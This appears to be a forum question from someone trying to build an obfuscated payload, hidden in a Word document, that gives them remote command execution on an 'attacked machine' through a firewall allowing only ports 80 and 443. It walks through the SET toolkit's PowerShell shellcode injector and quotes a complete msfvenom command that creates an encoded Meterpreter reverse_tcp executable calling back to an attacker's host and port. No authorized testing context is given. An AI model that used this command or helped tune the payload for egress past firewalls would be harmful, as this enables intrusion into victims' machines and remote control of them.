I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through .exe file as shown in tones of videos)
I am assuming: The attacked machine is behind a firewall, which blocks outgoing traffic except for port 80 and 443. Thus I want traffic of the attacked machine to be forwarded TO those ports, so I could listen and execute.
I am using SET toolkit (in Kali), pick "social-engineering attacks"->powershell attack vectors -> alpha-numeric shell code injector.
It prompts for LHOST, which is my public IP, forwarded to my internal IP (I am behind router).
Then it prompts for LPORT and that's it.
My understanding is LPORT - Local Port, which means port I am going to accept traffic coming FROM the attacked machine. But in this case, HOW can I specify an outgoing port for the ATTACKED machine?
I'd like a meterpreter solution, if possible. I don't care if it's a powershell vector or other, since payload, if I understand correctly only opens for me a possibility to listen and execute commands on the attacked machine.
On a SANS Institute cheatsheet I have found an interesting command:
msfvenom -p windows/meterpreter/ reverse_tcp -i 5 -e x86/shikata_ga_nai -f exe LHOST=10.1.1.1 LPORT=4444 > mal.exe
Here it seems like LPORT is introduced into malware file, but in this case it'll be exactly what I need; a port for outgoing traffic from the attacked machine.